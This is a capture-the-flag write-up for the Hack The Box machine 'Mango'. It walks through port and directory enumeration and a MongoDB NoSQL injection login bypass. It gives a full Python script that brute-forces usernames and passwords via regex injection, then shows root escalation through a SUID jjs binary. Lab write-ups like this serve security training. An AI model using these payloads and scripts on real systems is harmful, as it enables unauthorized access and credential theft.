Mango
Grab a bite!
Mango is a medium difficulty machine running Linux that tests your knowledge in OSINT, Mongo DB exploitation and privilege escalation through a GTFOBin. This is one of those machines that gives a pretty good hint in it’s name.
Be sure to checkout the Basic Setup section before you get started.
Enumeration
Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.
Portscan
portscan mango.htb
Grabbing ports...
Ports grabbed!
Scanning...
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-27 21:31 GMT
Nmap scan report for 10-10-10-162.tpgi.com.au (10.10.10.162)
Host is up (0.39s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.98 seconds
Straight off the mark we see that we have port 80
and 443
open. However, port 80
returns 403 Forbidden but we see that port 443
returns the http title Mango | Search Base
which tells us there is an accessible website.
Another thing we notice is the SSL certificate for the VHost domain staging-order.mango.htb
. Let’s add this domain to our /etc/hosts
along with mango.htb
and then go check them out.
Domains
Going to https://mango.htb
as expected we are presented with the SSL warning. Our gut instinct here is that the intended domain is staging-order.mango.htb
. But let’s continue on anyway by clicking Advanced
and then Accept the Risk and Continue
.
We see the following site mimicking Google search:
If we try and search we get 0 results found
.
Taking a look at the source of the site we see that it is a static site that always show no results. Within the source we also see that the logo is being hosted via the github repository https://github.com/MangoDevelopers
. This maybe useful later so we will just keep that in mind.
At the top right menu we see a bunch of dead links except for the Analytics
which naviagtes to analytics.php
:
We see some errors which show a link that takes us to https://www.flexmonster.com
. Quickly we see that this is a web client-side JavaScript component
. Most likely of no use to us so let’s just take note and go checkout our other domain.
On navigating to https://staging-order.mango.htb
we see the following:
Now this is looking more like it. Trying a few common default passwords yields nothing. Let’s look for some interesting directories that may help us.
Directory Brutforce
gobuster dir -u http://staging-order.mango.htb -t 10 -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://staging-order.mango.htb
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/11/25 23:16:40 Starting gobuster
===============================================================
/vendor (Status: 301)
===============================================================
2019/11/25 23:19:09 Finished
===============================================================
We find the vendor
directory. Let’s check that too:
gobuster dir -u http://staging-order.mango.htb/vendor -t 10 -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://staging-order.mango.htb/vendor
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/11/25 23:24:57 Starting gobuster
===============================================================
/composer (Status: 301)
===============================================================
2019/11/25 23:27:28 Finished
===============================================================
We recognize this folder as the tool Composer a Dependency Manager for PHP.
Being familiar with this tool we know that there should be a file called installed.json
which will show us what dependencies are installed:
We see that the tool Mongo PHP Adapter is installed. This tells us that we have Mongo Database in the backend which in combination with a PHP MongoDB driver can be susceptible to NO-SQL injection similar to that of SQL. Looks like we may have potentially found our weak point.
User
Now Mongo injection is not the same as SQL. Instead of dealing with string parameters we are dealing with objects so the usual ?username=admin&password=" OR 1 --
trick won’t work.
However, by passing objects through the PHP MongoDB driver we can accomplish the same with ?username=admin&passwd[$ne]=1
.
Since we also do not know the username we will use username[$ne]=&password[$ne]=&login=login
and will be doing so in a POST
request.
Loading up Burp Suite we make our way to the Proxy
tab where we ensure Intercept is on
and our browser is set to use the Burpsuite proxy.
Once setup we will click the Login
button on our page. We should now see the following in Burps proxy tab:
Now we replace username=&password=&login=login
with username[$ne]=&password[$ne]=&login=login
and click Forward
.
Lo and behold we are logged in and presented with an Under Contruction
page:
Nothing overly interesting but we do find the email admin@mango.htb
which we will take note of.
Even though we haven’t gained access to anything mangoliciously “juicy” we do now know that we have an exploitation to take advantage of.
Let’s see if we can extract some usernames and passwords.
Doing some research we find a handy page that explains how to extract the length of usernames and passwords as well as using Regex to enumerate the characters.
At a closer look we also see a script and one line jumps out at us: params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
A bit below that we see the request is being sent as a POST
request. This looks very similar to how we accessed the construction page with Burp.
Taking a look at the rest of the code in the script we can establish that this maybe exactly what we were looking for.
We will copy the following code into a file called post-brute.py
and add the following:
import requests
import string
url = "http://staging-order.mango.htb"
headers = {"Host": "staging-order.mango.htb"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames
for u in get_usernames():
get_password(u)
Running the script we get this output:
python post-brute.py
Found username starting with a
^ad
^adm
^admi
^admin
Found username: admin
Found username starting with m
^ma
^man
^mang
^mango
Found username: mango
Extracting password of admin
Found password t9......#2 for username admin
Extracting password of mango
Found password h3......5H for username mango
We have found two usernames admin
and mango
as well as two passwords.
Since we know that the ssh
port is open let’s go try and login using our new found credentials.
We find that only the user mango
seems to have ssh
access:
ssh mango@mango.htb
mango@mango.htbs password:
Last login: Sat Apr 18 05:09:39 2020 from 10.10.14.7
mango@mango:~$ ls -l
total 0
However, we do not find the user.txt
flag.
Let’s try accessing admin
:
mango@mango:~$ su admin
Password:
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ pwd
/home/mango
$ cat ~/user.txt
79bf31c6c6.....f7f8b47e92
We have our user
flag! Next we go for root
.
Root
Now that we have access to two accounts let’s see if either have sudo
privileges by using the -l
flag.
We find that both uers get the message Sorry, user <username> may not run sudo on mango
.
So we have a few options here. We can either look for exploits or look for scripts/programs we can run with root
privileges.
Given that when logging in we noticed the OS to be Ubuntu 18.04.2
and has minimal uninstalled security updates we will have a search for scripts/programs first.
Because we are wanting a script owned by root
but can be run by admin
we will use the find
command searching for anything that is owned by root
but gives permissions to users in the admin
group like so:
find / -regextype posix-extended -regex "/(sys|srv|proc|run)" -prune -o -user root -group admin -ls 2>&1 | grep -v "Permission denied"
274666 12 -rwsr-sr-- 1 root admin 10352 Jul 18 2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
Bingo! We find a program that we have access to.
Taking a look at GTFOBins we see we can use jjs
to gain root privileges.
However, we do not have sudo
privileges and the SUID
method only works on macOS.
Attempting to use the reverse shell
method we find that our session freezes and is unusable.
What we can do is read a file which we can use to read /root/root.txt
but that is no fun.
Instead we will use a combination of GTFOBins using jjs
and bash
like so:
$ echo "Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/bash /tmp/bash').waitFor()" | jjs
jjs> Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/bash /tmp/bash').waitFor()
0
$ echo "Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /tmp/bash').waitFor()" | jjs
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /tmp/bash').waitFor()
0
$ /tmp/bash -p
bash-4.4# cat /root/root.txt
8a8ef79a7a....8424e9ab15
And there we have it… another machine rooted!
Conclusion
Mango was an interesting machine and points out real world dangers with using PHP Mongo adapters as well giving incorrect permissions to programs.
While reviewing this writeup and looking down other paths there are some serious potential for rabbitholes at every turn. From the Flexmonster analytics page that led to a GitHub repo I noticed LinkedIn company profiles, blogs, social accounts… the works. Some people may have lost more than a few hairs along the way!